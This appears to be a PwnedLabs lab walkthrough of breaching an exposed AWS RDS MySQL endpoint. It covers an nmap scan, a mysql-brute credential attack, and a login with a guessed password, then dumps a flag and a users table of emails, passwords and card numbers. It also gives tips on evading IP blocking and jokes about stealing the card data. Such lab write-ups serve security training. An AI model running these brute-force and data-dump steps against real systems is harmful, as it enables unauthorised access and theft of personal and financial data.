EXPOSED RDS INSTANCES

PWNEDLABS.IO

We start with an exposed `Relational Database Service (RDS)` endpoint, which resolves to an RDS IP coincidentally. This means we can take advantage of `nmap` to run a scan and get a lay of the land. `RDS` is compatible with Amazon Aurora, Postgre, MySQL, MariaDB, OracleDB and SQL Service on various ports.

Enumeration

```
$nmap -sCV -p- exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com --min-rate 6000 -oN exposedRDS -Pn
....snip....
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.42
| ssl-cert: Subject: commonName=exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com/organizationName=Amazon.com/stateOrProvinceName=Washington/countryName=US
| Subject Alternative Name: DNS:exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
| Not valid before: 2025-10-22T04:17:17
|_Not valid after: 2026-10-22T04:17:17
| mysql-info:
| Protocol: 10
| Version: 8.0.42
| Thread ID: 26956
| Capabilities flags: 65535
| Some Capabilities: LongPassword, ConnectWithDatabase, SupportsLoadDataLocal, InteractiveClient, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, Speaks41ProtocolOld, SupportsCompression, FoundRows, DontAllowDatabaseTableColumn, SupportsTransactions, Support41Auth, ODBCClient, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, LongColumnFlag, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: '5sIWO,rd\x0E3mo!~/^\x19gh
|_ Auth Plugin Name: mysql_native_password
....snap....
```

We see an open `MySQL` instance running on `Port 3306`, but we have no credentials. We can try typical default credentials such as root:root, but to no avail. `nmap` comes with a `mysql-bruteforce` script we can use, so let's try that:

```
$nmap -Pn -p3306 --script=mysql-brute --script-args
brute.delay=10,brute.mode=creds,brute.credfile=mysql_creds.txt
exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
....snip....
PORT STATE SERVICE
3306/tcp open mysql
| mysql-brute:
| Accounts:
| dbuser:123 - Valid credentials
|_ Statistics: Performed 6 guesses in 21 seconds, average tps: 0.3
```

The `brute.delay` is helpful if you're worried about getting your IP blocked for trying too many times. You could also just rotate IPs. However, we are given credentials for `dbuser` with a password of `123`.

MySQL

MySQL is one of many relational databases supported by AWS. Let's get to digging.

```
$mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -P 3306 -u dbuser -
p
Enter password:
....snip....
MySQL [(none)]>
```

And we're in. Add the `-p` parameter to make sure you're prompted for the password. Sometimes it keeps denying access if you don't, without asking the password.

Start with showing all of the databases:

```
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| user_info |
+--------------------+
```

Now we will use the `user_info` database and show the tables within `user_info`:

```
MySQL [(none)]> use user_info;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [user_info]> show tables;
```

```
+---------------------+
| Tables_in_user_info |
+---------------------+
| flag |
| users |
+---------------------+
2 rows in set (0.063 sec)
```

Now select everything from each table individually with the asterisk `*`:

```
MySQL [user_info]> select * from flag;
+----------------------------------+
| flag |
+----------------------------------+
| e1c342d58b6933b3e0b5078174fd5a62 |
+----------------------------------+
1 row in set (0.062 sec)
```

Finally, steal everyone's credit card information by selecting everything from `users`:

```
MySQL [user_info]> select * from users;
+--------+---------------+----------------+----------------------------------
--+--------------+
| userId | fname | lname | email | password | ip_address | creditcard |
....snip snap....
```

There's 600+ names, emails, passwords and CC numbers to try.